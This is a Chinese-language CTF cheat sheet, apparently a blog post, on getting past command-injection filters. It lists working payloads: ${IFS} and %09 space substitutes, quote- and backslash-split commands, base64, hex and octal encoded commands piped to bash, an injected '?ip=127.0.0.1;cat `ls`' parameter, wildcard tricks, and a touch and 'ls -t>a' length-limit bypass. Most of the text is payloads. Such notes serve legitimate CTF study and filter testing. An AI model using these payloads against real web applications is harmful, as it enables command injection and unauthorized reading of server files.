盛年不重来,一日难再晨。 及时当勉励,岁月不待人。


空格绕过

1
2
3
4
5
6
7
${IFS}替换
$IFS$1替换
<和<>重定向符替换
{cat,flag}
%20替换
%0a (回车)
%09 (tab) (需要有php环境)

1.jpg

黑名单绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
单引号、双引号绕过   
c"a"t fl''ag
反斜线绕过
ca\t fl\ag
$num和$@绕过
c$1at fl$@ag
拼接绕过
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码绕过
`echo "Y2F0IGZsYWc="|base64 -d`
echo "Y2F0IGZsYWc="|base64 -d|bash
hex编码绕过
echo "0x63617420666c61670a" | xxd -r -p|bash
oct编码绕过
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67"}|$0
通过$PATH绕过

DUzRaT.jpg

DUz7s1.jpg

读文件绕过

当cat被过滤时,可以使用如下命令代替

1
2
3
4
5
6
7
8
9
10
11
12
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

DUzvJe.jpg

内联绕过

1
2
3
4
就是将反引号内命令的输出作为输入执行,`命令`和$(命令)都是执行命令的方式

?ip=127.0.0.1;cat `ls`
?ip=127.0.0.1;cat $(ls)

DUzjiD.jpg

通配符绕过

1
2
3
4
5
6
7
[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
cat f?ag
cat fl*
cat f[a-z]ag
cat fl{a,b,c,d,e,f}g

DaPtN6.jpg

绕过长度限制

通过创建文件名将其组合成我们想要的命令的方式来绕过长度限制,在linux中\可以将一行命令分成多行来书写。

ls -t 按文件修改时间进行排序,而不是按文件名进行排序。

ls -t>a 这条命令先执行了创建a文件然后将ls -t的执行结果写入a文件

sh a将a文件以shell脚本的形式来执行

1
2
3
4
5
6
7
8
9
10
lmc@kali:~$ touch ag
lmc@kali:~$ touch fl\\
lmc@kali:~$ touch t \\
lmc@kali:~$ touch ca\\
lmc@kali:~$ ls -t
'ca\' '\' t 'fl\' ag flag
lmc@kali:~$ ls -t>a
lmc@kali:~$ sh a

可以使用touch命令或'>'重定向符来创建文件

DaeJfI.jpg